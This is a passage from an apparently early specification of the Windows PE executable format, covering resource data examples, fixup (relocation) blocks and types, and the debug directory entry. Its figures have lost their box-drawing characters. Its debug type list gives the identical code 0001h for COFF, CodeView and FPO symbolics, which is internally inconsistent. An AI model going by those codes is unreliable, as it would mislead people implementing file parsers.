        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0178:   000001CC  (At offset 0x1CC, for TypeId #9, NameId #9, Language id #0
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0188:   000001D0  (At offset 0x1D0, for TypeId #9, NameId #9, Language id #1
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0198:   000001D4  (At offset 0x1D4, for TypeId #9, NameId #9, Language id #2
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)

And the data for the resources will look like:
01A8:          00010001
01AC:          10010001
01B0:          00010002
01B4:          00010003
01B8:          00020001
01BC:          00020002
01C0:          00020003
01C4:          00020004
01C8:          00090001
01CC:          00090009
01D0:          10090009
01D4:          20090009


9. Fixup Table

The Fixup Table contains entries for all fixups in the image. The
Total Fixup Data Size in the PE Header is the number of bytes in the
fixup table. The fixup table is broken into blocks of fixups. Each
block represents the fixups for a 4K page.

Fixups that are resolved by the linker do not need to be processed by
the loader, unless the load image can't be loaded at the Image Base
specified in the PE Header.

9.1 Fixup Block

Fixup blocks have the following format:

    Ŀ
                 PAGE RVA              
    Ĵ
                BLOCK SIZE             
    Ĵ
       TYPE/OFFSET      TYPE/OFFSET   
    Ĵ
       TYPE/OFFSET          ...       
    
    
Figure 20.  Fixup Block Format

To apply a fixup, a delta needs to be calculated.  The 32-bit delta
is the difference between the preferred base, and the base where the
image is actually loaded.  If the image is loaded at its preferred
base, the delta would be zero, and thus the fixups would not have to
be applied. Each block must start on a DWORD boundary. The ABSOLUTE
fixup type can be used to pad a block.

PAGE RVA = DD Page RVA. The image base plus the page rva is added to
each offset to create the virtual address of where the fixup needs to
be applied.

BLOCK SIZE = DD Number of bytes in the fixup block. This includes the
PAGE RVA and SIZE fields.

TYPE/OFFSET is defined as:

     1    1          0
     5    1
    Ŀ
    TYPE   OFFSET   
    
Figure 21.  Fixup Record Format

TYPE = 4-bit fixup type. This value has the following definitions:

  o  0h __ABSOLUTE. This is a NOP. The fixup is skipped.
     
  o  1h __HIGH. Add the high 16-bits of the delta to the 16-bit field
     at Offset.  The 16-bit field represents the high value of a 32-
     bit word.
     
  o  2h __LOW. Add the low 16-bits of the delta to the 16-bit field
     at Offset.  The 16-bit field represents the low half value of a
     32-bit word.  This fixup will only be emitted for a RISC machine
     when the image Object Align isn't the default of 64K.
     
  o  3h __HIGHLOW. Apply the 32-bit delta to the 32-bit field at
     Offset.
     
  o  4h __HIGHADJUST. This fixup requires a full 32-bit value.  The
     high 16-bits is located at Offset, and the low 16-bits is
     located in the next Offset array element (this array element is
     included in the SIZE field). The two need to be combined into a
     signed variable.  Add the 32-bit delta.  Then add 0x8000 and
     store the high 16-bits of the signed variable to the 16-bit
     field at Offset.
     
  o  5h __MIPSJMPADDR.
     
All other values are reserved.



10. Debug Information

The debug information is defined by the debugger and is not
controlled by the portable EXE format or linker.  The only data
defined by the portable EXE format is the Debug Directory Table.

10.1 Debug Directory

The debug directory table consists of one or more entries that have
the following format:

    Ŀ
                DEBUG FLAGS            
    Ĵ
               TIME/DATE STAMP         
    Ĵ
      MAJOR VERSION    MINOR VERSION  
    Ĵ
                 DEBUG TYPE            
    Ĵ
                 DATA SIZE             
    Ĵ
                 DATA RVA              
    Ĵ
                 DATA SEEK             
    
    
Figure 22.  Debug Directory Entry

DEBUG FLAGS = DD Set to zero for now.

TIME/DATE STAMP = DD Time/Date the debug data was created.

MAJOR/MINOR VERSION = DW Version stamp.
This stamp can be used to determine the version of the debug data.

DEBUG TYPE = DD Format type.
To support multiple debuggers, this field determines the format of
the debug information. This value has the following definitions:

  o  0001h __Image contains COFF symbolics.
     
  o  0001h __Image contains CodeView symbolics.
     
  o  0001h __Image contains FPO symbolics.
     
DATA SIZE = DD The number of bytes in the debug data. This is the
size of the actual debug data and does not include the debug
directory.

DATA RVA = DD The relative virtual address of the debug data. This
address is relative to the beginning of the Image Base.

DATA SEEK = DD The seek value from the beginning of the file to the
debug data.

If the image contains more than one type of debug information, then
the next debug directory will immediately follow the first debug
directory.
